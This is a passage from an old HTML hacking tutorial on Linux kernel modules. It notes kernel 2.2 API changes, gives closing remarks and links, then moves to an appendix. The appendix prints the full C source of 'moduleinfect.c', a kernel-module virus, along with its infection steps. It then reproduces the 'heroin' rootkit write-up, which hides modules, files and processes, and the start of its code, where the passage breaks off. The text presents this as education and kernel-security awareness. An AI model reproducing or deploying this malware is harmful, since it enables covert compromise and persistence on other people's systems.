4474 to find it. Systems with stack execution patches, you could look for heap
4475 overflows or just jump into some library functions (system(...)). There are thousand
4476 ways...<br>
4477 I hope this last section gave you some ideas how to proceed.
4478
4479
4480 <u><b>
4481 <H2>V. The near future : Kernel 2.2.x</H2>
4482 </u></b>
4483 <P><P>
4484
4485 <H3><A NAME="V.1."></A>1. Main Difference for LKM writer's</h3>
4486
4487 Linux has a new Kernel major Version 2.2 which brings some little changes to LKM
4488 coding. This part will help you to make the change, and outline the biggest
4489 changes. [Note : There will be another release concentrating on the new kernel]<br>
4490 I will show you some new macros / functions which will help you to develope
4491 LKMs for Kernel 2.2.  For an exact listing of every change take a look at the
4492 new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.
4493 First we will look at some macros which will help us to handle the System Table
4494 in an easier way :
4495
4496
4497 <TABLE border=5 width=100%>
4498 <tr>
4499
4500 <th>macro</th>
4501 <th>description</th>
4502
4503 <tr>
4504 <td>EXPORT_NO_SYMBOLS;</td>
4505 <td>this one is equal to register_symtab(NULL) for older kernel versions</td>
4506 </tr>
4507
4508 <tr>
4509 <td>EXPORT_SYMTAB;</td>
4510 <td>this one must be defined before linux/module.h if you want to export some symbols</td>
4511 </tr>
4512
4513 <tr>
4514 <td>EXPORT_SYMBOL(name);</td>
4515 <td>export the symbol named 'name'</td>
4516 </tr>
4517
4518 <tr>
4519 <td>EXPORT_SYMBOL_NOVERS      
4520  (name);</td>
4521 <td>export without version information</td>
4522 </tr>
4523 </table>
4524
4525 The user space access functions were also changed a bit, so I will list them
4526 here (just include asm/uaccess.h to use them) :
4527
4528
4529 <TABLE border=5 width=100%>
4530 <tr>
4531
4532 <th>function</th>
4533 <th>description</th>
4534
4535
4536 <tr>
4537 <td>int access_ok             
4538 (int type, unsigned long   
4539 addr, unsigned long size);</td>
4540 <td>this function checks whether the current process is allowed to access addr</td>
4541 </tr>
4542
4543 <tr>
4544 <td>unsigned long             
4545 copy_from_user
4546 (unsigned long to,
4547 unsigned long from,
4548 unsigned long len);</td>
4549 <td>this is the 'new' memcpy_tofs function</td>
4550 </tr>
4551
4552 <tr>
4553 <td>unsigned long             
4554 copy_to_user
4555 (unsigned long to,
4556 unsigned long from,
4557 unsigned long len);</td>
4558 <td>this is the counterpart of copy_from_user(...)</td>
4559 </tr>
4560 </table>
4561
4562 You don't need to use access_ok(...) because the function listed above check
4563 this themselves.
4564 There are many more differences, but you should really take a look at linux/module.h
4565 for a detailed listing.<br>
4566 I want to mention one last thing. I wrote lots of stuff on the kerneldaemon
4567 (kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of
4568 implementing the request_module(...) kernel space function - it's called <i>kmod</i>.
4569 kmod totally runs in kernel space (no IPC to user space any more). For LKM
4570 programmers nothing changes, you can still use the request_module(...) for
4571 loading modules. So the LKM infectors could use this also on kernel 2.2 systems.<br>
4572 I'm sorry about this little kernel 2.2 section, but at the moment I am working
4573 on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch
4574 out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD,
4575 for example) but this will take some months. 
4576
4577
4578
4579 <u><b>
4580 <H2>VI. Last Words</h2>
4581 </u></b>
4582 <P><P>
4583
4584 <H3><A NAME="VI.1."></A>1. The 'LKM story' or 'how to make a system plug & hack compatible'</h3>
4585
4586 You may wounder how insecure LKMs are and why they are used in such an insecure
4587 ways. Well LKMs are designed to make life easier especially for users.Linux fights
4588 agains Microsoft, so developers need a way to make the old unix style a bit more
4589 attractive and easier. They implement things like KDE and other nice things.
4590 Kerneld, for example, was developed in order to make module handling easier.
4591 But remember, the easier and more automated a system is the more problems
4592 concerning security are possible. It is <i>impossible</i> to make a system usable by
4593 everyone and being secure enough. Modules are a great example for this.<br>
4594 Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good
4595 idea, with a cruel securiy design for keeping everything simple.<br>
4596 So dear Linux developers : Be careful, and don't make the fault Microsoft made,
4597 don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !<br>
4598 This text should also make clear that the kernel of any system must be protected
4599 in the best way available.It must be impossible for attackers to modify the most
4600 important item of your whole system. I leave this task to all system designers 
4601 out there :).
4602
4603 <H3><A NAME="VI.2."></A>2. Links to other Resources</h3>
4604
4605 Here are some interesting links about LKMs (not only hack & securiy related):<br>
4606
4607 <b>[Internet]</b><br>
4608
4609 <A HREF="http://www.linuxhq.com">http://www.linuxhq.com</A><br>
4610 everything on Linux + nice kernel links<br>
4611 <A HREF="http://www.linuxlinks.com">http://www.linuxlinks.com</a><br>
4612 lots of links concerning Linux<br>
4613 <A HREF="http://www.linux.org">http://www.linux.org</a><br>
4614 'propaganda' page for Linux<br>
4615 <A HREF="http://www.lwn.net">http://www.lwn.net</a><br>
4616 weekly Linux news; very interesting there are also kernel / securiy sections<br>
4617 <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
4618 read issue 50 & 52 for interesting module information<br>
4619 <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
4620 they have some nice LKMs<br>
4621 <A HREF="http://www.geek-girl.com/bugtraq/">http://www.geek-girl.com/bugtraq/</a><br>
4622 there were some discussions on LKM security<br>
4623 <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
4624 HISPAHACK homepage<br>
4625 <A HREF="http://www.thc.org">http://www.thc.org</a><br>
4626 THC homepage (articles, magazines and lots of tools)<br>
4627 <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
4628 one of the best security / hacking related search engines I know<br>
4629 <A HREF="http://www.kernel.org">http://www.kernel.org</a><br>
4630 get the kernel and study it !<br>
4631 <p>
4632 <b>[Books]</b><br>
4633
4634 Linux-Kernel-Programming (Addison Wesley) <br>
4635 A very good book. I read the german version but I think there is also an english
4636 version.
4637 <p>
4638 Linux Device Drivers (O'Reilly)<br>  
4639 A bit off topic, but also very interesting. The focus is more on writing LKMs
4640 as device drivers.
4641
4642 <H3><A NAME="Acknowledgements"></A>Acknowledgements</h3>
4643
4644 <p>
4645 <u><b>Thanks for sources / ideas fly to :</u></b>
4646 <p>
4647 plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
4648 Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
4649 daemon9, Nergal, van Hauser (especially for showing me some bugs) and those
4650 nameless individuals providing us with their ideas (there are so many) !
4651
4652
4653 <H3><A NAME="Greets"></A>Greets </h3>
4654
4655 <u>groups</u>   : THC, deep, ech0, ADM, =phake=<br>
4656 <p>
4657 <u>personal</u> : 
4658 <dd>van Hauser   -   thanks for giving me the chance to learn </dd>
4659 <dd>mindmaniac   -   thanks for introducing 'the first contact'</dd>
4660     
4661                       
4662 <p>
4663 <p>
4664 background music groups (helping me to concentrate on writing :):<br> 
4665 <i>Neuroactive, Image Transmission, Panic on the Titanic, Dracul</i>
4666
4667 <P><P><P><P>
4668 <HR SIZE="3" NOSHADE="NOSHADE">
4669 <P>
4670 <HR SIZE="3" NOSHADE="NOSHADE">
4671 <P><P><P><P>
4672
4673
4674
4675 <u><b>
4676 <H2>A - Appendix</h2>
4677 </u></b>
4678 <P><P>
4679
4680
4681 Here you will find some sources.If the author of the LKM also published some
4682 notes / texts which are interesting, they will also be printed.<br>
4683
4684 <H3><A NAME="A-a"></A>LKM Infector</h3>
4685
4686 <b>NAME</b>            : moduleinfect.c<br>
4687 <b>AUTHOR</b>          : <A HREF="mailto:stealth@cyberspace.org">Stealthf0rk/SVAT <stealth@cyberspace.org></a><br>
4688 <b>DESCRIPTION</b>     : This is the first published LKM infector which was discussed                   
4689                   II.8. This LKM has no destruction routine, it's just an
4690                   infector, so experimenting should be quite harmless.<br>            
4691 <b>LINK</b>            : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
4692   
4693 <xmp>
4694 /*              SVAT - Special Virii And Trojans - present:
4695  *
4696  * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
4697  *
4698  * 0kay guys, here we go...
4699  * As i told you with VLP I (we try to write an fast-infector)
4700  * here's the result:
4701  * a full, non-overwriting module infector that catches
4702  * lkm's due to create_module() and infects them (max. 7)
4703  * if someone calls delete_module() [even on autoclean].
4704  * Linux is not longer a virii-secure system :(
4705  * and BSD follows next week ...
4706  * Since it is not needed 2 get root (by the module) you should pay
4707  * attention on liane.
4708  * Note the asm code in function init_module().
4709  * U should assemble your /usr/src/.../module.c with -S and your CFLAG
4710  * from your Makefile and look for the returnvalue from the first call
4711  * of find_module() in sys_init_module(). look where its stored (%ebp for me)
4712  * and change it in __asm__ init_module()! (but may it is not needed)
4713  *
4714  * For education only! 
4715  * Run it only with permisson of the owner of the system you are logged on!!! 
4716  * 
4717  *              !!! YOU USE THIS AT YOUR OWN RISK !!!
4718  *
4719  * I'm not responsible for any damage you may get due to playing around with this. 
4720  *
4721  * okay guys, you have to find out some steps without my help:
4722  *
4723  *      1. $ cc -c -O2 module.c
4724  *      2. get length of module.o and patch the #define MODLEN in module.c
4725  *      3. $ ???
4726  *      4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o 
4727  *      5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
4728  *      >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< 
4729  *      6. $ insmod ???
4730  * 
4731  * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
4732  * kernel 2.0.33. It works.
4733  *
4734  *      greets  (in no order...)
4735  *      <><><><><><><><><><><><>
4736  *
4737  *      NetW0rker       - tkx for da sources
4738  *      Serialkiller    - gib mir mal deine eMail-addy
4739  *      hyperSlash      - 1st SVAT member, he ?
4740  *      naleZ           - hehehe
4741  *      MadMan          - NetW0rker wanted me to greet u !?
4742  *      KilJaeden       - TurboDebugger and SoftIce are a good choice !
4743  *
4744  *      and all de otherz
4745  *
4746  *      Stealthf0rk/SVAT <stealth@cyberspace.org>
4747  */
4748
4749 #define __KERNEL__
4750 #define MODULE
4751 #define MODLEN 7104
4752 #define ENOUGH 7
4753 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
4754 #define END_KMEM   set_fs(old_fs);}
4755
4756
4757 /* i'm not sure we need all of 'em ...*/
4758
4759 #include <linux/version.h>
4760 #include <linux/mm.h>
4761 #include <linux/unistd.h>
4762 #include <linux/fs.h>
4763 #include <linux/types.h>
4764 #include <asm/errno.h>
4765 #include <asm/string.h>
4766 #include <linux/fcntl.h>
4767 #include <sys/syscall.h>
4768 #include <linux/module.h>
4769 #include <linux/malloc.h>
4770 #include <linux/kernel.h>
4771 #include <linux/kerneld.h>
4772
4773 #define __NR_our_syscall 211
4774 #define MAXPATH 30
4775 /*#define DEBUG*/
4776 #ifdef DEBUG
4777    #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
4778 #else
4779    #define DPRINTK(format, args...)
4780 #endif
4781
4782 /* where the sys_calls are */
4783
4784 extern void *sys_call_table[];
4785
4786 /* tested only with kernel 2.0.33, but thiz should run under 2.x.x
4787  * if you change the default_path[] values 
4788  */
4789
4790 static char *default_path[] = {
4791         ".", "/linux/modules",
4792         "/lib/modules/2.0.33/fs",
4793         "/lib/modules/2.0.33/net",
4794         "/lib/modules/2.0.33/scsi",
4795         "/lib/modules/2.0.33/block",
4796         "/lib/modules/2.0.33/cdrom",
4797         "/lib/modules/2.0.33/ipv4",
4798         "/lib/modules/2.0.33/misc",
4799         "/lib/modules/default/fs",
4800         "/lib/modules/default/net",
4801         "/lib/modules/default/scsi",
4802         "/lib/modules/default/block",
4803         "/lib/modules/default/cdrom",
4804         "/lib/modules/default/ipv4",
4805         "/lib/modules/default/misc",
4806         "/lib/modules/fs",
4807         "/lib/modules/net",
4808         "/lib/modules/scsi",
4809         "/lib/modules/block",
4810         "/lib/modules/cdrom",
4811         "/lib/modules/ipv4",
4812         "/lib/modules/misc",
4813         0
4814 };
4815
4816 static struct symbol_table my_symtab = {
4817         #include <linux/symtab_begin.h>
4818         X(printk),
4819         X(vmalloc),
4820         X(vfree),
4821         X(kerneld_send),
4822         X(current_set),
4823         X(sys_call_table),
4824         X(register_symtab_from),
4825         #include <linux/symtab_end.h>
4826 };
4827
4828 char files2infect[7][60 + 2];
4829
4830 /* const char kernel_version[] = UTS_RELEASE; */
4831
4832 int (*old_create_module)(char*, int);
4833 int (*old_delete_module)(char *);
4834 int (*open)(char *, int, int);
4835 int (*close)(int);
4836 int (*unlink)(char*);
4837
4838 int our_syscall(int);
4839 int infectfile(char *);
4840 int is_infected(char *);
4841 int cp(struct file*, struct file*);
4842 int writeVir(char *, char *);
4843 int init_module2(struct module*);
4844 char *get_mod_name(char*);
4845
4846 /* needed to be global */
4847
4848 void *VirCode = NULL;
4849
4850 /* install new syscall to see if we are already in kmem */
4851 int our_syscall(int mn)
4852 {
4853         /* magic number: 40hex :-) */
4854         if (mn == 0x40)
4855                 return 0;
4856         else
4857                 return -ENOSYS;
4858 }
4859
4860 int new_create_module(char *name, int size)
4861 {
4862         int i = 0, j = 0, retval = 0;
4863         
4864         if ((retval = old_create_module(name, size)) < 0)
4865                 return retval;
4866         /* find next free place */
4867         for (i = 0; files2infect[i][0] && i < 7; i++);
4868         if (i == 6)
4869                 return retval;
4870         /* get name of mod from user-space */
4871         while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
4872                 j++;
4873         DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
4874         return retval;
4875 }
4876
4877 /* we infect modules after sys_delete_module, to be sure
4878  * we don't confuse the kernel
4879  */
4880
4881 int new_delete_module(char *modname)
4882 {
4883         static int infected = 0;
4884         int retval = 0, i = 0;
4885         char *s = NULL, *name = NULL;
4886         
4887         
4888         retval = old_delete_module(modname); 
4889
4890         if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
4891                 return retval;
4892
4893         for (i = 0; files2infect[i][0] && i < 7; i++) {
4894                 strcat(files2infect[i], ".o"); 
4895                 if ((s  = get_mod_name(files2infect[i])) == NULL) {
4896                         return retval;
4897                 }
4898                 name = strcpy(name, s);
4899                 if (!is_infected(name)) {
4900                         DPRINTK("try 2 infect %s as #%d\n", name, i);
4901                         infected++;
4902                         infectfile(name);
4903                 }
4904                 memset(files2infect[i], 0, 60 + 2);
4905         } /* for */
4906         /* its enough */
4907         if (infected >= ENOUGH)
4908                 cleanup_module();
4909         vfree(name);
4910         return retval;
4911 }
4912
4913
4914 /* lets take a look at sys_init_module(), that calls
4915  * our init_module() compiled with
4916  * CFLAG = ... -O2 -fomit-frame-pointer
4917  * in C:
4918  * ...
4919  * if((mp = find_module(name)) == NULL)
4920  * ...
4921  *
4922  * is in asm:
4923  * ...
4924  * call find_module
4925  * movl %eax, %ebp
4926  * ...
4927  * note that there is no normal stack frame !!!
4928  * thats the reason, why we find 'mp' (return from find_module) in %ebp
4929  * BUT only when compiled with the fomit-frame-pointer option !!!
4930  * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
4931  * you should find mp at -4(%ebp) .
4932  * thiz is very bad hijacking of local vars and an own topic.
4933  * I hope you do not get an seg. fault.
4934  */
4935
4936 __asm__ 
4937 ("
4938
4939 .align 16
4940 .globl init_module      
4941    .type init_module,@function
4942
4943 init_module:
4944         pushl %ebp               /* ebp is a pointer to mp from sys_init_module() */
4945                                  /* and the parameter for init_module2() */
4946         call init_module2        
4947         popl %eax
4948         xorl %eax, %eax          /* all good */
4949         ret                      /* and return */
4950 .hype27:
4951         .size init_module,.hype27-init_module
4952 ");
4953         
4954  /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
4955   *
4956   * pushl %ebx
4957   * movl %ebp, %ebx
4958   * pushl -4(%ebx)
4959   * call init_module2
4960   * addl $4, %esp
4961   * xorl %eax, %eax
4962   * popl %ebx
4963   * ret
4964   */
4965
4966 /*----------------------------------------------*/
4967
4968 int init_module2(struct module *mp)
4969 {       
4970         char *s = NULL, *mod = NULL, *modname = NULL;
4971         long state = 0;
4972    
4973         mod = vmalloc(60 + 2);
4974         modname = vmalloc(MAXPATH + 60 + 2);
4975         if (!mod || !modname)
4976                 return -1;        
4977         strcpy(mod, mp->name);
4978         strcat(mod, ".o");
4979
4980         
4981         MOD_INC_USE_COUNT;        
4982         DPRINTK("in init_module2: mod = %s\n", mod);
4983         
4984         /* take also a look at phrack#52 ...*/
4985         mp->name = "";
4986         mp->ref = 0;
4987         mp->size = 0;
4988
4989         /* thiz is our new main ,look for copys in kmem ! */
4990         if (sys_call_table[__NR_our_syscall] == 0) {    
4991                 old_delete_module = sys_call_table[__NR_delete_module];  
4992                 old_create_module = sys_call_table[__NR_create_module];
4993                 sys_call_table[__NR_our_syscall] = (void*)our_syscall;                  
4994                 sys_call_table[__NR_delete_module] = (void*)new_delete_module;         
4995                 sys_call_table[__NR_create_module] = (void*)new_create_module;
4996                 memset(files2infect, 0, (60 + 2)*7);
4997                 register_symtab(&my_symtab);
4998         }
4999         open = sys_call_table[__NR_open]; 
5000         close = sys_call_table[__NR_close];        
5001         unlink = sys_call_table[__NR_unlink];        
5002         
5003         if ((s = get_mod_name(mod)) == NULL)
5004                 return -1;
5005         modname = strcpy(modname, s);
5006         load_real_mod(modname, mod);
5007         vfree(mod);
5008         vfree(modname);
5009         return 0;
5010 }        
5011
5012 int cleanup_module()
5013 {
5014         sys_call_table[__NR_delete_module] = old_delete_module;
5015         sys_call_table[__NR_create_module] = old_create_module;
5016         sys_call_table[__NR_our_syscall] = NULL;
5017         DPRINTK("in cleanup_module\n");
5018         vfree(VirCode);
5019         return 0;
5020 }
5021
5022 /* returns 1 if infected; 
5023  * seek at position MODLEN + 1 and read out 3 bytes,
5024  * if it is "ELF" it seems the file is already infected
5025  */
5026
5027 int is_infected(char *filename) 
5028 {
5029         char det[4] = {0};
5030         int fd = 0;
5031         struct file *file;
5032
5033         DPRINTK("in is_infected: filename = %s\n", filename);
5034         BEGIN_KMEM
5035         fd = open(filename, O_RDONLY, 0); 
5036         END_KMEM
5037         if (fd <= 0)
5038                 return -1;
5039         if ((file = current->files->fd[fd]) == NULL)
5040                 return -2;
5041         file->f_pos = MODLEN + 1;
5042         DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
5043         BEGIN_KMEM
5044         file->f_op->read(file->f_inode, file, det, 3);
5045         close(fd);
5046         END_KMEM
5047         DPRINTK("in is_infected: det = %s\n", det);
5048         if (strcmp(det, "ELF") == 0)
5049                 return 1;
5050         else
5051                 return 0;
5052 }
5053
5054 /* copy the host-module to tmp, write VirCode to
5055  * hostmodule, and append tmp.
5056  * then delete tmp.
5057  */
5058
5059
5060 int infectfile(char *filename)
5061 {
5062         char *tmp = "/tmp/t000";
5063         int in = 0, out = 0;
5064         struct file *file1, *file2;
5065         
5066         BEGIN_KMEM
5067         in = open(filename, O_RDONLY, 0640);
5068         out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
5069         END_KMEM
5070         DPRINTK("in infectfile: in = %d out = %d\n", in, out);
5071         if (in <= 0 || out <= 0)
5072                 return -1;
5073         file1 = current->files->fd[in];
5074         file2 = current->files->fd[out];
5075         if (!file1 || !file2)
5076                 return -1;
5077         /* save hostcode */
5078         cp(file1, file2);
5079         BEGIN_KMEM
5080         file1->f_pos = 0;
5081         file2->f_pos = 0;
5082         /* write Vircode [from mem] */
5083         DPRINTK("in infetcfile: filenanme = %s\n", filename);
5084         file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
5085         /* append hostcode */
5086         cp(file2, file1);
5087         close(in);
5088         close(out);
5089         unlink(tmp);
5090         END_KMEM
5091         return 0;
5092 }        
5093
5094 int disinfect(char *filename)
5095 {
5096
5097         char *tmp = "/tmp/t000";
5098         int in = 0, out = 0;
5099         struct file *file1, *file2;
5100         
5101         BEGIN_KMEM
5102         in = open(filename, O_RDONLY, 0640);
5103         out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
5104         END_KMEM
5105         DPRINTK("in disinfect: in = %d out = %d\n",in, out);
5106         if (in <= 0 || out <= 0)
5107                 return -1;
5108         file1 = current->files->fd[in];
5109         file2 = current->files->fd[out];
5110         if (!file1 || !file2)
5111                 return -1;
5112         /* save hostcode */
5113         cp(file1, file2);
5114         BEGIN_KMEM
5115         close(in);
5116         DPRINTK("in disinfect: filename = %s\n", filename); 
5117         unlink(filename);
5118         in = open(filename, O_RDWR|O_CREAT, 0640);
5119         END_KMEM
5120         if (in <= 0)
5121                 return -1;
5122         file1 = current->files->fd[in];
5123         if (!file1)
5124                 return -1;
5125         file2->f_pos = MODLEN;
5126         cp(file2, file1);
5127         BEGIN_KMEM
5128         close(in);
5129         close(out);
5130         unlink(tmp);
5131         END_KMEM
5132         return 0;
5133 }
5134
5135 /* a simple copy routine, that expects the file struct pointer
5136  * of the files to be copied.
5137  * So its possible to append files due to copieng.
5138  */
5139
5140 int cp(struct file *file1, struct file *file2)
5141 {
5142
5143         int in = 0, out = 0, r = 0;
5144         char *buf;
5145         
5146         if ((buf = (char*)vmalloc(10000)) == NULL)
5147                 return -1;
5148
5149         DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
5150         BEGIN_KMEM
5151         while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
5152                 file2->f_op->write(file2->f_inode, file2, buf, r);
5153         file2->f_inode->i_mode = file1->f_inode->i_mode;
5154         file2->f_inode->i_atime = file1->f_inode->i_atime;
5155         file2->f_inode->i_mtime = file1->f_inode->i_mtime;
5156         file2->f_inode->i_ctime = file1->f_inode->i_ctime;
5157         END_KMEM
5158         vfree(buf);
5159         return 0;
5160 }
5161
5162 /* Is that simple: we disinfect the module [hide 'n seek]
5163  * and send a request to kerneld to load
5164  * the orig mod. N0 fuckin' parsing for symbols and headers
5165  * is needed - cool.
5166  */
5167 int load_real_mod(char *path_name, char *name)
5168 {       
5169         int r = 0, i = 0;               
5170         struct file *file1, *file2;
5171         int in =  0, out = 0; 
5172
5173         DPRINTK("in load_real_mod name = %s\n", path_name);
5174         if (VirCode)
5175                 vfree(VirCode);
5176         VirCode = vmalloc(MODLEN);
5177         if (!VirCode)
5178                 return -1;
5179         BEGIN_KMEM
5180         in = open(path_name, O_RDONLY, 0640);
5181         END_KMEM
5182         if (in <= 0)
5183                 return -1;
5184         file1 = current->files->fd[in];
5185         if (!file1)
5186                 return -1;
5187         /* read Vircode [into mem] */
5188         BEGIN_KMEM
5189         file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
5190         close(in);
5191         END_KMEM
5192         disinfect(path_name);
5193         r = request_module(name);
5194         DPRINTK("in load_real_mod: request_module = %d\n", r);
5195         return 0;
5196 }       
5197         
5198 char *get_mod_name(char *mod)
5199 {
5200         int fd = 0, i = 0;
5201         static char* modname = NULL;
5202         
5203         if (!modname)
5204                 modname = vmalloc(MAXPATH + 60 + 2);
5205         if (!modname)
5206                 return NULL;
5207         BEGIN_KMEM
5208         for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
5209                 memset(modname, 0, MAXPATH + 60 + 2);
5210                 modname = strcpy(modname, default_path[i]);
5211                 modname = strcat(modname, "/");
5212                 modname = strcat(modname, mod);
5213                 if ((fd = open(modname, O_RDONLY, 0640)) > 0) 
5214                         break;
5215         }
5216         close(fd);
5217         END_KMEM    
5218         if (!default_path[i])
5219                 return NULL;  
5220         return modname; 
5221 }        
5222
5223 </xmp>
5224
5225 <H3><A NAME="A-b"></A>Herion - the classic one</h3>
5226
5227
5228 <b>NAME</b>            : Heroin<br>
5229 <b>AUTHOR</b>          : <A HREF="mailto:zarq@opaque.org">Runar Jensen</a><br>
5230 <b>DESCRIPTION</b>     : Runar Jensen introduced some nice ideas in his text, which
5231                   were the first steps towards our modern Hide LKM by plaguez.
5232                   The way Runar Jensen hides the module requires more coder work
5233                   than the plaguez (Solar Designer and other people) approach,
5234                   but it works. The way Runar Jensen hides processes is also a
5235                   bit too complicated (well this text is quite old, and it was
5236                   one of the first talking about LKM hacking), He uses a special
5237                   signal code (31) in order to set a flag in a process structure
5238                   which indicates that this process is going to be hidden, in
5239                   the way we discussed in part II. <br>
5240                   The rest should be clear.            <br>        
5241 <b>LINK</b>            : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
5242   
5243 <xmp>
5244 As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
5245 to patch any systemcall under Linux from within a module. This means that
5246 once your system has been compromised at the root level, it is possible for
5247 an intruder to hide completely _without_ modifying any binaries or leaving
5248 any visible backdoors behind. Because such tools are likely to be in use
5249 within the hacker community already, I decided to publish a piece of code to
5250 demonstrate the potentials of a malicious module.
5251
5252 The following piece of code is a fully working Linux module for 2.1 kernels
5253 that patches the getdents(), kill(), read() and query_module() calls. Once
5254 loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
5255 modifying the output of every query_module() call and every read() call
5256 accessing /proc/modules. Apparently rmmod also calls query_module() to list
5257 all modules before attempting to remove the specified module, and will
5258 therefore claim that the module does not exist even if you know its name. The
5259 output of any getdents() call is modified to hide any files or directories
5260 starting with a given string, leaving them accessible only if you know their
5261 exact names. It also hides any directories in /proc matching pids that have a
5262 specified flag set in its internal task structure, allowing a user with root
5263 access to hide any process (and its children, since the task structure is
5264 duplicated when the process does a fork()). To set this flag, simply send the
5265 process a signal 31 which is caught and handled by the patched kill() call.
5266
5267 To demonstrate the effects...
5268
5269 [root@image:~/test]# ls -l
5270 total 3
5271 -rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
5272 [root@image:~/test]# insmod heroin.o
5273 [root@image:~/test]# lsmod | grep heroin
5274 [root@image:~/test]# grep heroin /proc/modules
5275 [root@image:~/test]# rmmod heroin
5276 rmmod: module heroin not loaded
5277 [root@image:~/test]# ls -l
5278 total 0
5279 [root@image:~/test]# echo "I'm invisible" > heroin_test
5280 [root@image:~/test]# ls -l
5281 total 0
5282 [root@image:~/test]# cat heroin_test
5283 I'm invisible
5284 [root@image:~/test]# ps -aux | grep gpm
5285 root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
5286 [root@image:~/test]# kill -31 223
5287 [root@image:~/test]# ps -aux | grep gpm
5288 [root@image:~/test]# ps -aux 223
5289 USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
5290 root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
5291 [root@image:~/test]# ls -l /proc | grep 223
5292 [root@image:~/test]# ls -l /proc/223
5293 total 0
5294 -r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
5295 lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
5296 -r--------   1 root     root            0 Oct  8 16:54 environ
5297 lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
5298 dr-x------   1 root     root            0 Oct  8 16:54 fd
5299 pr--r--r--   1 root     root            0 Oct  8 16:54 maps
5300 -rw-------   1 root     root            0 Oct  8 16:54 mem
5301 lrwx------   1 root     root            0 Oct  8 16:54 root -> /
5302 -r--r--r--   1 root     root            0 Oct  8 16:53 stat
5303 -r--r--r--   1 root     root            0 Oct  8 16:54 statm
5304 -r--r--r--   1 root     root            0 Oct  8 16:54 status
5305 [root@image:~/test]#
5306
5307 The implications should be obvious. Once a compromise has taken place,
5308 nothing can be trusted, the operating system included. A module such as this
5309 could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
5310 after every reboot, or put in place of a commonly used module and in turn
5311 have it load the required module for an added level of protection. (Thanks
5312 Sean :) Combined with a reasonably obscure remote backdoor it could remain
5313 undetected for long periods of time unless the system administrator knows
5314 what to look for. It could even hide the packets going to and from this
5315 backdoor from the kernel itself to prevent a local packet sniffer from seeing
5316 them.
5317
5318 So how can it be detected? In this case, since the number of processes is
5319 limited, one could try to open every possible process directory in /proc and
5320 look for the ones that do not show up otherwise. Using readdir() instead of
5321 getdents() will not work, since it appears to be just a wrapper for
5322 getdents(). In short, trying to locate something like this without knowing
5323 exactly what to look for is rather futile if done in userspace...
5324
5325 Be afraid. Be very afraid. ;)
5326
5327 .../ru
5328
5329 -----
5330
5331 /*
5332  * heroin.c
5333  *
5334  * Runar Jensen <zarq@opaque.org>
5335  *
5336  * This Linux kernel module patches the getdents(), kill(), read()
5337  * and query_module() system calls to demonstrate the potential
5338  * dangers of the way modules have full access to the entire kernel.
5339  *
5340  * Once loaded, the module becomes invisible and can not be removed
5341  * with rmmod. Any files or directories starting with the string
5342  * defined by MAGIC_PREFIX appear to disappear, and sending a signal
5343  * 31 to any process as root effectively hides it and all its future
5344  * children.
5345  *
5346  * This code should compile cleanly and work with most (if not all)
5347  * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
5348  * It will not compile as is under 2.0.30, since 2.0.30 lacks the
5349  * query_module() function.
5350  *
5351  * Compile with:
5352  *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
5353  */
5354
5355 #include <linux/fs.h>
5356 #include <linux/module.h>
5357 #include <linux/modversions.h>
5358 #include <linux/malloc.h>
5359 #include <linux/unistd.h>
5360 #include <sys/syscall.h>
5361
5362 #include <linux/dirent.h>
5363 #include <linux/proc_fs.h>
5364 #include <stdlib.h>
5365
5366 #define MAGIC_PREFIX "heroin"
5367
5368 #define PF_INVISIBLE 0x10000000
5369 #define SIGINVISI 31
5370
5371 int errno;
5372
5373 static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
5374 static inline _syscall2(int, kill, pid_t, pid, int, sig);
5375 static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
5376 static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
5377
5378 extern void *sys_call_table[];
5379
